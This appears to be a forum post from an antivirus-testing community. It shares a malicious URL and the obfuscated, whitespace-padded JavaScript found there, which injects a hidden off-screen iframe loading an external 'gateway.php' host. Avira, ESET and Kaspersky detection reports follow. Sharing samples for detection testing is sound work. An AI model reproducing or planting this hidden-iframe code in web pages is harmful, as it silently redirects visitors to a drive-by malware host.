http://plomba.4u.kz/ek/catalog.php?id=96

fireold

1. var _b = document.createElement('iframe'),
   
2.                                                                                                                                                                                                                                                               _t = 'setAttribute';
   
3.                                                                                                                                                                                                                                                           _b[_t]('src', 'http://tunaercan.tk/gateway.php');
   
4.                                                                                                                                                                                                                                                           _b.style.position = 'absolute';
   
5.                                                                                                                                                                                                                                                           _b.style.width = '10px';
   
6.                                                                                                                                                                                                                                                           _b[_t]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7cd2') + 1);
   
7.                                                                                                                                                                                                                                                           _b.style.left = '-5840px';
   
8.                                                                                                                                                                                                                                                           document.write('<div id=\'MIXX_ADS\'></div>');
   
9.                                                                                                                                                                                                                                                           document.getElementById('MIXX_ADS').appendChild(_b);

复制代码

Avira

2014/2/16 上午 11:47 [Web Protection] 發現惡意程式碼
      從 URL "http://plomba.4u.kz/ek/catalog.php?id=96" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.VK' [virus]。
      已採取動作：封鎖的檔案

fs is



eset

下一世的轮回

卡巴拦截了！

z紫f风l铃

GD,ESET